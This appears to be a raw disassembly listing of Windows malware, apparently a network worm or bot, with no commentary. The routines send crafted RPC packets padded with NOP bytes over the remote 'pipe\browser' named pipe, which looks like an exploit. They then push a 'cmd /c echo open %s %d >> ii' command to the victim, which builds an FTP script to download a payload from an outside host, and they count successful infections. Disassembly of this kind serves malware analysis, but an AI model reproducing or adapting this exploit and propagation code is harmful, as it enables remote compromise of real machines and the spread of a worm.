add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40DE9A
test al, al
jz short loc_40E033
push esi
mov ecx, edi
call sub_40DE6A
loc_40E033: ; CODE XREF: sub_40DFD6+2Bj
; sub_40DFD6+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40DFD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E03B proc near ; CODE XREF: sub_40DFD6+3Ap
jmp sub_420840
sub_40E03B endp
; =============== S U B R O U T I N E =======================================
sub_40E040 proc near ; CODE XREF: sub_40DE9A+5p
; sub_40E056+1Ep
call sub_40E16F
cmp eax, 2
ja short loc_40E04E
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_40E04E: ; CODE XREF: sub_40E040+8j
add eax, 0FFFFFFFEh
retn
sub_40E040 endp
; =============== S U B R O U T I N E =======================================
sub_40E052 proc near ; CODE XREF: sub_40DD57+A5p
mov eax, [ecx+0Ch]
retn
sub_40E052 endp
; =============== S U B R O U T I N E =======================================
sub_40E056 proc near ; CODE XREF: sub_40DE9A+99p
mov eax, offset loc_43B854
call sub_420820
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
mov [ebp-10h], esp
mov [ebp-14h], esi
or edi, 1Fh
call sub_40E040
cmp eax, edi
jnb short loc_40E080
mov edi, [ebp+8]
loc_40E080: ; CODE XREF: sub_40E056+25j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40E15F
mov [ebp+8], eax
jmp short loc_40E0B9
; ---------------------------------------------------------------------------
loc_40E096: ; DATA XREF: _1:0043E3ACo
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [ebp-18h], eax
add eax, 2
push 0
push eax
call sub_40E15F
mov [ebp+8], eax
mov eax, offset loc_40E0B3
retn
; ---------------------------------------------------------------------------
loc_40E0B3: ; DATA XREF: sub_40E056+57o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40E0B9: ; CODE XREF: sub_40E056+3Ej
mov eax, [esi+8]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jbe short loc_40E0DB
cmp eax, edi
jbe short loc_40E0CA
mov eax, edi
loc_40E0CA: ; CODE XREF: sub_40E056+70j
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40DD52
add esp, 0Ch
loc_40E0DB: ; CODE XREF: sub_40E056+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40DF46
mov eax, [ebp+8]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40E11B
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40E102
mov edi, ebx
loc_40E102: ; CODE XREF: sub_40E056+A8j
push edi
mov ecx, esi
call sub_40DE6A
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40E056 endp
; =============== S U B R O U T I N E =======================================
sub_40E11B proc near ; CODE XREF: sub_40DD57+6Ap
; sub_40DD57+B2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40E11B endp
; =============== S U B R O U T I N E =======================================
sub_40E123 proc near ; CODE XREF: sub_40DF46+47p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_420B80
pop ecx
retn 8
sub_40E123 endp
; =============== S U B R O U T I N E =======================================
sub_40E130 proc near ; CODE XREF: sub_40DFD6+15p
push esi
mov esi, ecx
push edi
mov edi, [esi+4]
test edi, edi
jz short loc_40E15C
push edi
call sub_40E11B
mov al, [eax]
test al, al
jz short loc_40E15C
cmp al, 0FFh
jz short loc_40E15C
push 1
mov ecx, esi
call sub_40DF46
push edi
mov ecx, esi
call sub_40DE4D
loc_40E15C: ; CODE XREF: sub_40E130+9j
; sub_40E130+15j ...
pop edi
pop esi
retn
sub_40E130 endp
; =============== S U B R O U T I N E =======================================
sub_40E15F proc near ; CODE XREF: sub_40E056+36p
; sub_40E056+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40E176
pop ecx
pop ecx
retn 8
sub_40E15F endp
; =============== S U B R O U T I N E =======================================
sub_40E16F proc near ; CODE XREF: sub_40E040p
or eax, 0FFFFFFFFh
retn
sub_40E16F endp
; =============== S U B R O U T I N E =======================================
sub_40E173 proc near ; CODE XREF: sub_40DD57+78p
mov al, 1
retn
sub_40E173 endp
; =============== S U B R O U T I N E =======================================
sub_40E176 proc near ; CODE XREF: sub_40E15F+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40E180
xor eax, eax
loc_40E180: ; CODE XREF: sub_40E176+6j
push eax
call sub_420C30
pop ecx
retn
sub_40E176 endp
; =============== S U B R O U T I N E =======================================
sub_40E188 proc near ; CODE XREF: _0:loc_40DBC6p
; sub_43A8A0+3p
test ds:byte_4F369C, 1
jnz short locret_40E198
or ds:byte_4F369C, 1
locret_40E198: ; CODE XREF: sub_40E188+7j
retn
sub_40E188 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E19A proc near ; DATA XREF: _2:0043F00Co
jmp $+5
sub_40E19A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E19F proc near
mov eax, ds:dword_449074
add eax, 6
mov ds:dword_4E5CDC, eax
retn
sub_40E19F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E1AD proc near ; CODE XREF: sub_40E1AD+D0p
; sub_40E29B+465p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40E1C1
or [ebp+arg_7], 1
jmp short loc_40E1C5
; ---------------------------------------------------------------------------
loc_40E1C1: ; CODE XREF: sub_40E1AD+Cj
and [ebp+arg_7], 0FEh
loc_40E1C5: ; CODE XREF: sub_40E1AD+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40E1E9
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40E1FB
; ---------------------------------------------------------------------------
loc_40E1E9: ; CODE XREF: sub_40E1AD+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40E1FB: ; CODE XREF: sub_40E1AD+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41BE40
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40E294
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41FBF0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_40E28B
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40E28B
push [ebp+arg_20]
call sub_41C9D0
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40E287
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40E1AD
add esp, 2Ch
jmp short loc_40E296
; ---------------------------------------------------------------------------
loc_40E287: ; CODE XREF: sub_40E1AD+B3j
mov al, 1
jmp short loc_40E296
; ---------------------------------------------------------------------------
loc_40E28B: ; CODE XREF: sub_40E1AD+9Cj
; sub_40E1AD+A4j
push [ebp+arg_20]
call sub_41C9D0
pop ecx
loc_40E294: ; CODE XREF: sub_40E1AD+61j
xor al, al
loc_40E296: ; CODE XREF: sub_40E1AD+D8j
; sub_40E1AD+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40E1AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E29B proc near ; CODE XREF: _0:0040E88Dp
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
var_20DC = byte ptr -20DCh
var_DC = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = qword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = qword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call sub_41EF80
push ebx
push esi
push edi
push offset dword_449078
push [ebp+arg_0]
call sub_420F10
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
mov esi, 2000h
jz short loc_40E30F
push [ebp+arg_0]
lea eax, [ebp+var_20DC]
push offset dword_44907C
push esi
push eax
call sub_41EC30
push 20h
lea eax, [ebp+var_DC]
push ebx
push eax
call sub_41E4B0
add esp, 1Ch
lea eax, [ebp+var_20DC]
mov [ebp+var_C8], eax
lea eax, [ebp+var_DC]
push ebx
push offset byte_4E5CE0
push offset byte_4E5CE1
push eax
call sub_43A936
loc_40E30F: ; CODE XREF: sub_40E29B+28j
push [ebp+arg_0]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call ds:off_4F53C0
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40E353
loc_40E34C: ; CODE XREF: sub_40E29B+25Fj
; sub_40E29B+361j ...
xor al, al
jmp loc_40E78F
; ---------------------------------------------------------------------------
loc_40E353: ; CODE XREF: sub_40E29B+AFj
push 48h
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_41E4B0
push 10h
xor edi, edi
pop eax
inc edi
mov [ebp+var_B4], eax
push eax
lea eax, [ebp+var_98]
push offset dword_44909C
push eax
mov [ebp+var_B8], 5
mov [ebp+var_B7], bl
mov [ebp+var_B6], 0Bh
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call sub_41FBF0
push 10h
lea eax, [ebp+var_84]
push offset dword_4490B0
push eax
mov [ebp+var_88], 3
call sub_41FBF0
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz loc_40E4F1
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call ds:off_4F53BC
push ebx
call sub_420D80
push eax
call sub_41EB60
push 14h
lea eax, [ebp+var_70]
push 41h
push eax
call sub_41E4B0
push 1Ch
lea eax, [ebp+var_30]
push 41h
push eax
call sub_41E4B0
add esp, 20h
call sub_41EB70
mov esi, [ebp+arg_4]
mov [ebp+var_70], eax
mov [ebp+var_64], edi
mov [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
mov [ebp+var_28], ebx
cmp ds:byte_44905C[esi], bl
jz short loc_40E49D
push 4
mov [ebp+var_24], edi
mov [ebp+var_2C], edi
push offset dword_4E5CE4
jmp short loc_40E4AD
; ---------------------------------------------------------------------------
loc_40E49D: ; CODE XREF: sub_40E29B+1F1j
push 2
pop eax
push 4
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push offset loc_4490C4
loc_40E4AD: ; CODE XREF: sub_40E29B+200j
lea eax, [ebp+var_20]
push eax
call sub_41FBF0
add esp, 0Ch
call sub_41EB70
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call sub_41EB70
cdq
idiv edi
mov eax, ds:dword_449050[esi]
mov [ebp+var_18], ebx
push eax
mov [ebp+arg_0], eax
inc edx
mov [ebp+var_1C], edx
call sub_41BE40
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40E4FF
loc_40E4F1: ; CODE XREF: sub_40E29B+185j
push [ebp+var_4]
call ds:off_4F533C
jmp loc_40E34C
; ---------------------------------------------------------------------------
loc_40E4FF: ; CODE XREF: sub_40E29B+254j
mov eax, [ebp+arg_0]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41E4B0
mov eax, [ebp+arg_0]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41E4B0
mov eax, ds:dword_449058[esi]
push 7
add eax, edi
push offset dword_449010
push eax
mov [ebp+arg_4], eax
call sub_41FBF0
mov eax, [ebp+arg_4]
push 15Ch
add eax, 7
push offset dword_448EB0
push eax
call sub_41FBF0
mov eax, ds:dword_449054[esi]
add esp, 30h
mov [ebp+arg_4], eax
add eax, edi
cmp ds:byte_44905C[esi], bl
jz short loc_40E5B0
push 4
push offset dword_4E5CDC
push eax
call sub_41FBF0
add [ebp+arg_4], 0Ch
mov esi, offset dword_449074
mov eax, [ebp+arg_4]
push 4
add eax, edi
push esi
push eax
call sub_41FBF0
mov eax, [ebp+arg_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+arg_4], eax
call sub_41FBF0
mov eax, [ebp+arg_4]
push 4
add eax, 0Ch
push esi
push eax
call sub_41FBF0
add esp, 30h
jmp short loc_40E5D6
; ---------------------------------------------------------------------------
loc_40E5B0: ; CODE XREF: sub_40E29B+2C8j
mov [ebp+arg_4], eax
mov [ebp+var_8], 10h
mov esi, offset dword_449074
loc_40E5BF: ; CODE XREF: sub_40E29B+339j
push 4
push esi
push [ebp+arg_4]
call sub_41FBF0
add [ebp+arg_4], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_40E5BF
loc_40E5D6: ; CODE XREF: sub_40E29B+313j
mov eax, [ebp+arg_0]
add eax, 42h
push eax
call sub_41BE40
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_40E601
push [ebp+var_4]
call ds:off_4F533C
push edi
call sub_41C9D0
pop ecx
jmp loc_40E34C
; ---------------------------------------------------------------------------
loc_40E601: ; CODE XREF: sub_40E29B+34Fj
mov eax, [ebp+arg_0]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_41E4B0
lea eax, [ebp+var_70]
push 14h
push eax
push esi
call sub_41FBF0
mov eax, [ebp+arg_0]
mov [ebp-0Ch], ebx
mov dword ptr [ebp+var_14+4], eax
add esp, 10h
fild [ebp+var_14+4]
fmul ds:flt_43C48C
fstp [esp+14h+var_14]
call sub_420210
call sub_4201DC
push [ebp+arg_0]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call sub_41FBF0
mov eax, [ebp+arg_0]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+arg_4], eax
jz short loc_40E66B
loc_40E663: ; CODE XREF: sub_40E29B+3CBj
inc eax
test al, 3
jnz short loc_40E663
mov [ebp+arg_4], eax
loc_40E66B: ; CODE XREF: sub_40E29B+3C6j
lea ecx, [ebp+var_30]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41FBF0
add [ebp+arg_4], 1Ch
push edi
call sub_41C9D0
push 18h
lea eax, [ebp+var_48]
push ebx
push eax
call sub_41E4B0
push 14h
lea eax, [ebp+var_5C]
push ebx
push eax
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov word ptr [ebp+var_38+4], bx
mov word ptr [ebp+var_38+6], 1Fh
call sub_41E4B0
add esp, 28h
push ebx
push ebx
push 1
push ebx
call ds:dword_4F53B8 ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+arg_0+3], bl
mov [ebp-0Ch], ebx
loc_40E6D8: ; CODE XREF: sub_40E29B+4C7j
cmp dword ptr [ebp-0Ch], 2
jge loc_40E76D
push 1
push 10B8h
push [ebp+arg_4]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4]
rep movsd
call sub_40E1AD
add esp, 2Ch
test al, al
jz short loc_40E76A
cmp [ebp+var_4C], ebx
jz short loc_40E75C
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call ds:off_4F53BC
test eax, eax
jnz short loc_40E743
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_40E34C
loc_40E743: ; CODE XREF: sub_40E29B+495j
push 3E8h
push [ebp+var_4C]
call ds:dword_4F5374 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40E75C
mov byte ptr [ebp+arg_0+3], 1
loc_40E75C: ; CODE XREF: sub_40E29B+474j
; sub_40E29B+4BBj
cmp byte ptr [ebp+arg_0+3], bl
mov esi, [ebp+var_8]
jz loc_40E6D8
jmp short loc_40E76D
; ---------------------------------------------------------------------------
loc_40E76A: ; CODE XREF: sub_40E29B+46Fj
mov esi, [ebp+var_8]
loc_40E76D: ; CODE XREF: sub_40E29B+441j
; sub_40E29B+4CDj
push [ebp+var_4]
mov edi, ds:off_4F533C
call edi ; sub_50B3D5
push esi
call sub_41C9D0
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_40E789
push [ebp+var_4C]
call edi ; sub_50B3D5
loc_40E789: ; CODE XREF: sub_40E29B+4E7j
cmp byte ptr [ebp+arg_0+3], bl
setnz al
loc_40E78F: ; CODE XREF: sub_40E29B+B3j
pop edi
pop esi
pop ebx
leave
retn
sub_40E29B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E794 proc near ; CODE XREF: _0:0040E8ABp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E862
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E862
mov edi, 400h
push esi
mov esi, ds:dword_4F5534
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_43F0FC
push eax
push eax
push ds:dword_4E2D00
push [ebp+arg_0]
call sub_40AEAD
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E866
loc_40E862: ; CODE XREF: sub_40E794+50j
; sub_40E794+62j
xor eax, eax
jmp short loc_40E87D
; ---------------------------------------------------------------------------
loc_40E866: ; CODE XREF: sub_40E794+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_4F5538 ; closesocket
xor eax, eax
inc eax
loc_40E87D: ; CODE XREF: sub_40E794+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E794 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor ebx, ebx
loc_40E887: ; CODE XREF: _0:0040E8CDj
lea eax, [esp+14h]
push ebx
push eax
call sub_40E29B
pop ecx
test al, al
pop ecx
jz short loc_40E8BA
push 65h
lea esi, [esp+14h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E794
add esp, 0C0h
test eax, eax
jnz short loc_40E8CF
loc_40E8BA: ; CODE XREF: _0:0040E896j
test ebx, ebx
jnz short loc_40E8C9
push 7D0h
call ds:dword_4F534C ; Sleep
loc_40E8C9: ; CODE XREF: _0:0040E8BCj
inc ebx
cmp ebx, 2
jb short loc_40E887
loc_40E8CF: ; CODE XREF: _0:0040E8B8j
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8D6 proc near ; CODE XREF: sub_40E9ED+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E9A4
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E9A4
mov edi, 400h
push esi
mov esi, ds:dword_4F5534
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_43F0FC
push eax
push eax
push ds:dword_4E2D00
push [ebp+arg_0]
call sub_40AEAD
pop ecx
push eax
push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E9A8
loc_40E9A4: ; CODE XREF: sub_40E8D6+50j
; sub_40E8D6+62j
xor eax, eax
jmp short loc_40E9BF
; ---------------------------------------------------------------------------
loc_40E9A8: ; CODE XREF: sub_40E8D6+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_4F5538 ; closesocket
xor eax, eax
inc eax
loc_40E9BF: ; CODE XREF: sub_40E8D6+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E8D6 endp
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
call ds:dword_4F5528 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40E9EC
push dword ptr [esp+4]
call ds:dword_4F5550 ; gethostbyname
test eax, eax
jnz short loc_40E9E5
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40E9E5: ; CODE XREF: _0:0040E9DFj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40E9EC: ; CODE XREF: _0:0040E9D1j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9ED proc near ; CODE XREF: sub_40C87D+1D7p
; DATA XREF: _2:off_4481F4o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call ds:dword_4E3008 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call ds:dword_4E2FC8 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_4F553C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EA5F
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EA40
push esi
jmp short loc_40EA59
; ---------------------------------------------------------------------------
loc_40EA40: ; CODE XREF: sub_40E9ED+4Ej
push 0
push 1213h
push offset dword_449148
push esi
call ds:dword_4F5540 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EA63
loc_40EA59: ; CODE XREF: sub_40E9ED+51j
call ds:dword_4F5538 ; closesocket
loc_40EA5F: ; CODE XREF: sub_40E9ED+3Cj
xor eax, eax
jmp short loc_40EAA1
; ---------------------------------------------------------------------------
loc_40EA63: ; CODE XREF: sub_40E9ED+6Aj
call ds:dword_4F5538 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E8D6
add esp, 0C0h
test eax, eax
jz short loc_40EA9E
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_4481F8[eax]
inc dword ptr [eax]
loc_40EA9E: ; CODE XREF: sub_40E9ED+9Ej
xor eax, eax
inc eax
loc_40EAA1: ; CODE XREF: sub_40E9ED+74j
pop edi
pop esi
leave
retn
sub_40E9ED endp
; =============== S U B R O U T I N E =======================================
sub_40EAA5 proc near ; CODE XREF: _0:0040EB95p _0:0040EBF7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
jmp short loc_40EAD0
; ---------------------------------------------------------------------------
loc_40EAAF: ; CODE XREF: sub_40EAA5+2Dj
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call ds:dword_4E2FE0 ; recv
test eax, eax
jz short loc_40EADA
cmp eax, 0FFFFFFFFh
jz short loc_40EADA
sub edi, eax
add esi, eax
loc_40EAD0: ; CODE XREF: sub_40EAA5+8j
test edi, edi
jg short loc_40EAAF
xor eax, eax
inc eax
loc_40EAD7: ; CODE XREF: sub_40EAA5+37j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EADA: ; CODE XREF: sub_40EAA5+20j
; sub_40EAA5+25j
xor eax, eax
jmp short loc_40EAD7
sub_40EAA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EADE proc near ; CODE XREF: _0:0040EBE1p _0:0040EC0Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EB1B
xor esi, esi
test edi, edi
jle short loc_40EB15
loc_40EAEE: ; CODE XREF: sub_40EADE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EB1B
test eax, eax
jz short loc_40EB1B
add esi, eax
cmp esi, edi
jl short loc_40EAEE
loc_40EB15: ; CODE XREF: sub_40EADE+Ej
xor eax, eax
inc eax
loc_40EB18: ; CODE XREF: sub_40EADE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EB1B: ; CODE XREF: sub_40EADE+8j
; sub_40EADE+2Bj ...
xor eax, eax
jmp short loc_40EB18
